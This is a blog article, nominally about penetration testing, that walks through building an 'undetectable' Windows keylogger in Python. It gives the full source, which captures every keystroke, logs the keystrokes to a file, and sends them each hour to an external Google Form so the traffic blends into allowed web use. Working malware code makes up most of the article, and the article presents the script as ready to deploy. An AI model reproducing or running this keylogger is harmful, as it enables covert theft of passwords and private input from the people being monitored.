Python Penetration Testing: Get out of the Box!

Building a Undetectable Windows Keylogger and Sending the Data to a External Google form

R. Eric Kiser
InfoSec Write-ups

--

R. Eric Kiser

To perform a successful penetration test on an organization, it’s recommended to employ authorized software and legitimate access for data transfer. By doing so, the risk of detection can be significantly reduced. In this article, I’ll outline the methods I observed an attacker using during an engagement and the modifications I made to improve that technique for subsequent engagements. Please note that the script may need to be customized to fit the specific environment in which it is being used.

The attacker, who first employed this method, took advantage of an abandoned public form and posted the keylogger results online for external access. This incident emphasizes the significance of deleting expired information to avoid data breaches or in this case even housing data breaches unknowingly. Numerous organizations overlook this vital aspect, continuing their operations without recognizing the necessity for regular data maintenance. This is a good example of why it is crucial to create a data lifecycle, but I digress.

Now on to script writing. As always the first step is to import our modules. For this script we need six modules; subprocess, sys, os, time, requests, and keyboard.

import subprocess
import sys
import os
import time
import requests
import keyboard

Next we need to create a function that installs the dependencies. The install_dependency() function will install required Python packages using the pip command. In this case this is the keyboard and requests module. We are going to use the keyboard library to capture keyboard inputs. We define the path where the keyboard input data will be stored keyboard_Input.txt and create an empty list to store keyboard inputs keyboard_Input, and then set a count variable to 0.

def install_dependency(package):
subprocess.check_call([sys.executable, "-m", "pip", "install", package])

try:
import keyboard
except ImportError:
install_dependency("keyboard")
import keyboard

try:
import requests
except ImportError:
install_dependency("requests")
import requests

path = 'keyboard_Input.txt'
keyboard_Input = []
count = 0

We need to have the form URL and the entry_id from the form to POST the data to the form. So we create a URL for the Google Form (form_url) and the ID of the form field that will receive the keyboard input data (entry_id).

# Update these with your Google Form's action URL and entry IDs
form_url = "https://docs.google.com/forms/your_form_id/formResponse"
entry_id = "entry.your_entry_id"

Now we can write the keyboard input function. The on_press() function is defined to capture keyboard inputs. This function appends the pressed key to the keyboard_Input list, increments the countvariable, and calls the write_to_file function when count is greater than 0.

def on_press(e):
global keyboard_Input, count
keyboard_Input.append(e.name)
count += 1

if count > 0:
count = 0
write_to_file(keyboard_Input)
keyboard_Input = []

Next we create a function to write the keyboard input data to a file. This function will take the keys list as an argument, then iterates over the list and write each key to the file. If the key is a special character (e.g. backspace, shift, enter, or space), the function writes a corresponding string instead of the actual character.

def write_to_file(keys):
with open(path, 'a') as file:
for key in keyboard_Input:
write_down = str(key).replace("'", "")
if write_down.find('backspace') > 0:
file.write(' *BACKSPACE* ')
elif write_down.find('shift') > 0:
file.write(' *SHIFT* ')
elif write_down.find('enter') > 0:
file.write('\n')
elif write_down.find('space') > 0:
file.write(' ')
elif write_down.find('Key'):
file.write(write_down)

The last part of the script is how we get the data outside the organization. Most organizations will allow posting to Google forms. Therefore, the task goes unnoticed in a sea of other data coming across security platforms. This is accomplished with the send_data_to_google_form function. This function reads the keyboard_Input.txt file, creates a dictionary with the form field ID and the keyboard input data, sends an HTTP POST request to the Google Form URL with the payload data, and prints a success or failure message based on the response status code.

def send_data_to_google_form():
with open(path, 'r') as file:
data = file.read()
if data:
payload = {entry_id: data}
response = requests.post(form_url, data=payload)
if response.status_code == 200:
print("Data sent successfully")
with open(path, 'w') as file:
file.truncate()
else:
print("Failed to send data")

Only a few more details to have this ready to deploy. We need call the keyboard.on_press to start capturing keyboard inputs. We also need to set a time interval to send the keyboard input. The script enters an infinite loop that sleeps for 1 hour (3600 seconds) before calling the send_data_to_google_form() function. This loop ensures that the keyboard input data is sent to the Google Form at regular intervals.

keyboard.on_press(on_press)

while True:
time.sleep(3600) # Wait for 1 hour (3600 seconds)
send_data_to_google_form()

Here is a quick screenshot of the results. If you would like me to write another article on how to set up the Google form and get the entry_id, please follow, clap and especially respond. Happy Hunting!

Python-Pentesting GitHub Repository:
https://github.com/R-Eric-Kiser/python-pentesting/blob/main/keyloggerGoogleForm.py

--

--

R. Eric Kiser is highly skilled certified information security manager with 10+ years of experience in the field.